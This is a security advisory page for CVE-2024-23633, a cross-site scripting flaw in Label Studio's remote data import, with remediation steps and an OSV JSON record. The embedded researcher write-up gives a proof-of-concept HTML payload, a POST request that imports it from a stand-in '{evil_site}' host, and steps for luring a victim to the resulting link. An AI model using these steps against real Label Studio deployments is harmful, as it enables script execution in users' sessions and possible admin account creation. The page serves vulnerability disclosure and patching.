CVE-2024-23633: Label studio Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-fq23-g58m-799r
CVSS 4.7
CWE-79
Published
Advisory Summary

CVE-2024-23633 is a MODERATE (CVSS 4.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Label studio libraries in the PyPI ecosystem. The issue involves cross-site scripting vulnerability on data import. Remediation is available by upgrading affected packages to version 1.10.1.

CVE-2024-23633 at a Glance

CVE Identifier CVE-2024-23633
GHSA Identifier GHSA-fq23-g58m-799r
Severity MODERATE
CVSS v3.1 Base Score 4.7
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Label studio
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 4.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2024-23633

To remediate this vulnerability, upgrade all affected Label studio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

label-studio fixed: 1.10.1
pip install label-studio>=1.10.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show label-studio

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-23633, inspect your installed packages using pip:

pip show label-studio

Analyze the terminal output to locate any version of Label studio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.10.1), your application is affected.

Note: The pip show label-studio command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Label studio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Introduction This write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.10.1` and was tested on version `1.9.2.post0`. # Overview [Label Studio](https://github.com/HumanSignal/label-studio) had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website. # Description The following [code snippet in Label Studio](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146) showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL. ```python def tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list): """Download file using URL and read tasks from it""" # process URL with tasks try: filename = url.rsplit('/', 1)[-1] <1> response = ssrf_safe_get( url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={'Accept-Encoding': None} ) file_content = response.content check_tasks_max_file_size(int(response.headers['content-length'])) file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content)) if file_upload.format_could_be_tasks_list: could_be_tasks_list = True file_upload_ids.append(file_upload.id) tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids) except ValidationError as e: raise e except Exception as e: raise ValidationError(str(e)) return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list ``` 1. The file name that was set was retrieved from the URL. The downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the [following code snippet](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62) demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension. ```python class UploadedFileResponse(generics.RetrieveAPIView): permission_classes = (IsAuthenticated,) @swagger_auto_schema(auto_schema=None) def get(self, *args, **kwargs): request = self.request filename = kwargs['filename'] # XXX needed, on windows os.path.join generates '\' which breaks FileUpload file = settings.UPLOAD_DIR + ('/' if not settings.UPLOAD_DIR.endswith('/') else '') + filename logger.debug(f'Fetch uploaded file by user {request.user} => {file}') file_upload = FileUpload.objects.filter(file=file).last() if not file_upload.has_permission(request.user): return Response(status=status.HTTP_403_FORBIDDEN) file = file_upload.file if file.storage.exists(file.name): content_type, encoding = mimetypes.guess_type(str(file.name)) <1> content_type = content_type or 'application/octet-stream' return RangedFileResponse(request, file.open(mode='rb'), content_type=content_type) else: return Response(status=status.HTTP_404_NOT_FOUND) ``` 1. Determines the `Content-Type` based on the extension of the uploaded file by using `mimetypes.guess_type`. Since the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited. # Proof of Concept Below were the steps to recreate this issue: 1. Host the following HTML proof of concept (POC) script on an external website with the file extension `.html` that would be downloaded to the Label Studio website. ```html <html> <body> <h1>Data Import XSS</h1> <script> alert(document.domain); </script> </body> </html> ``` 2. Send the following `POST` request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the `{victim_host}` is the address and port of the victim Label Studio website (eg. `labelstudio.com:8080`), `{project_id}` is the ID of the project where the data would be imported into, `{cookies}` are session cookies and `{evil_site}` is the website hosting the malicious HTML file (named `xss.html` in the following example). ```http POST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1 Host: {victim_host} Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 43 Connection: close Cookie: {cookies} Pragma: no-cache Cache-Control: no-cache url=https://{evil_site}/xss.html ``` 3. To retrieve the downloaded file path could be retrieved by sending a `GET` request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]`, where `{download_id}` is the ID of the file download from the previous step. 4. Send your victim a link to `/data/{file_path}`, where `{file_path}` is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting `/data/upload/1/cfcfc340-xss.html`. ![xss-import-alert](https://user-images.githubusercontent.com/139727151/282223222-d8f9132c-838e-4aa6-9c03-a2bc83b4a409.png) # Impact Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. # Remediation Advice * For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy ([documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox)). * Restrict the allowed file extensions that could be downloaded. # Discovered - August 2023, Alex Brown, elttam

CVE-2024-23633 Affected Label studio Versions

1 component(s)
Fixed Versions:
1.10.1
Product / Package Ecosystem Affected Versions Fixed Version
label-studio
PyPI
< 1.10.1
1.10.1

References

Frequently Asked Questions

What is CVE-2024-23633?
CVE-2024-23633 is a security vulnerability in Label studio involving Cross-site Scripting Vulnerability on Data Import under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Label studio versions are affected?
Affected versions include releases prior to 1.10.1 across affected packages: label-studio.
What version fixes CVE-2024-23633?
Upgrading to 1.10.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is label-studio affected?
Yes, label-studio is affected in releases prior to 1.10.1. Upgrade your dependency to 1.10.1 or later.
What is the CVSS score of CVE-2024-23633?
CVE-2024-23633 has a CVSS v3.1 base score of 4.7 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N.
What CWE is associated with CVE-2024-23633?
CVE-2024-23633 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2024-23633?
Run the dependency tree command: 'pip show label-studio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fq23-g58m-799r",
  "modified" : "2024-11-22T18:20:58Z",
  "published" : "2024-01-24T14:21:47Z",
  "aliases" : [ "CVE-2024-23633" ],
  "summary" : "Cross-site Scripting Vulnerability on Data Import",
  "details" : "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to `1.10.1` and was tested on version `1.9.2.post0`.\n\n# Overview\n\n[Label Studio](https://github.com/HumanSignal/label-studio) had a remote import feature allowed users to import data from a remote web source, that was downloaded and could be viewed on the website. This feature could had been abused to download a HTML file that executed malicious JavaScript code in the context of the Label Studio website.\n\n# Description\n\nThe following [code snippet in Label Studio](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146) showed that is a URL passed the SSRF verification checks, the contents of the file would be downloaded using the filename in the URL.\n\n```python\ndef tasks_from_url(file_upload_ids, project, user, url, could_be_tasks_list):\n    \"\"\"Download file using URL and read tasks from it\"\"\"\n    # process URL with tasks\n    try:\n        filename = url.rsplit('/', 1)[-1] <1>\n\n        response = ssrf_safe_get(\n            url, verify=project.organization.should_verify_ssl_certs(), stream=True, headers={'Accept-Encoding': None}\n        )\n        file_content = response.content\n        check_tasks_max_file_size(int(response.headers['content-length']))\n        file_upload = create_file_upload(user, project, SimpleUploadedFile(filename, file_content))\n        if file_upload.format_could_be_tasks_list:\n            could_be_tasks_list = True\n        file_upload_ids.append(file_upload.id)\n        tasks, found_formats, data_keys = FileUpload.load_tasks_from_uploaded_files(project, file_upload_ids)\n\n    except ValidationError as e:\n        raise e\n    except Exception as e:\n        raise ValidationError(str(e))\n    return data_keys, found_formats, tasks, file_upload_ids, could_be_tasks_list\n```\n1. The file name that was set was retrieved from the URL.\n\nThe downloaded file path could then be retrieved by sending a request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]` where `{project_id}` was the ID of the project and `{download_id}` was the ID of the downloaded file. Once the downloaded file path was retrieved by the previous API endpoint, the [following code snippet](https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62) demonstrated that the `Content-Type` of the response was determined by the file extension, since `mimetypes.guess_type` guesses the `Content-Type` based on the file extension.\n\n```python\nclass UploadedFileResponse(generics.RetrieveAPIView):\n    permission_classes = (IsAuthenticated,)\n\n    @swagger_auto_schema(auto_schema=None)\n    def get(self, *args, **kwargs):\n        request = self.request\n        filename = kwargs['filename']\n        # XXX needed, on windows os.path.join generates '\\' which breaks FileUpload\n        file = settings.UPLOAD_DIR + ('/' if not settings.UPLOAD_DIR.endswith('/') else '') + filename\n        logger.debug(f'Fetch uploaded file by user {request.user} => {file}')\n        file_upload = FileUpload.objects.filter(file=file).last()\n\n        if not file_upload.has_permission(request.user):\n            return Response(status=status.HTTP_403_FORBIDDEN)\n\n        file = file_upload.file\n        if file.storage.exists(file.name):\n            content_type, encoding = mimetypes.guess_type(str(file.name)) <1>\n            content_type = content_type or 'application/octet-stream'\n            return RangedFileResponse(request, file.open(mode='rb'), content_type=content_type)\n        else:\n            return Response(status=status.HTTP_404_NOT_FOUND)\n```\n1. Determines the `Content-Type` based on the extension of the uploaded file by using `mimetypes.guess_type`.\n\nSince the `Content-Type` was determined by the file extension of the downloaded file, an attacker could import in a `.html` file that would execute JavaScript when visited.\n\n# Proof of Concept\n\nBelow were the steps to recreate this issue:\n\n1. Host the following HTML proof of concept (POC) script on an external website with the file extension `.html` that would be downloaded to the Label Studio website.\n\n```html\n<html>\n    <body>\n        <h1>Data Import XSS</h1>\n        <script>\n            alert(document.domain);\n        </script>\n    </body>\n</html>\n```\n\n2. Send the following `POST` request to download the HTML POC to the Label Studio and note the returned ID of the downloaded file in the response. In the following POC the `{victim_host}` is the address and port of the victim Label Studio website (eg. `labelstudio.com:8080`), `{project_id}` is the ID of the project where the data would be imported into, `{cookies}` are session cookies and `{evil_site}` is the website hosting the malicious HTML file (named `xss.html` in the following example).\n\n```http\nPOST /api/projects/{project_id}/import?commit_to_project=false HTTP/1.1\nHost: {victim_host}\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\ncontent-type: application/x-www-form-urlencoded\nContent-Length: 43\nConnection: close\nCookie: {cookies}\nPragma: no-cache\nCache-Control: no-cache\n\nurl=https://{evil_site}/xss.html\n```\n\n3. To retrieve the downloaded file path could be retrieved by sending a `GET` request to `/api/projects/{project_id}/file-uploads?ids=[{download_id}]`, where `{download_id}` is the ID of the file download from the previous step.\n\n4. Send your victim a link to `/data/{file_path}`, where `{file_path}` is the path of the downloaded file from the previous step. The following screenshot demonstrated executing the POC JavaScript code by visiting `/data/upload/1/cfcfc340-xss.html`.\n\n![xss-import-alert](https://user-images.githubusercontent.com/139727151/282223222-d8f9132c-838e-4aa6-9c03-a2bc83b4a409.png)\n\n# Impact\n\nExecuting arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image.\n\n# Remediation Advice\n\n* For all user provided files that are downloaded by Label Studio, set the `Content-Security-Policy: sandbox;` response header when viewed on the site. The `sandbox` directive restricts a page's actions to prevent popups, execution of plugins and scripts and enforces a `same-origin` policy ([documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox)).\n* Restrict the allowed file extensions that could be downloaded.\n\n# Discovered\n- August 2023, Alex Brown, elttam",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "label-studio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.10.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-fq23-g58m-799r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-23633"
  }, {
    "type" : "WEB",
    "url" : "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HumanSignal/label-studio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/api.py#L595C1-L616C62"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HumanSignal/label-studio/blob/1.9.2.post0/label_studio/data_import/uploader.py#L125C5-L146"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2024-128.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-01-24T14:21:47Z",
    "nvd_published_at" : "2024-01-24T00:15:08Z"
  }
}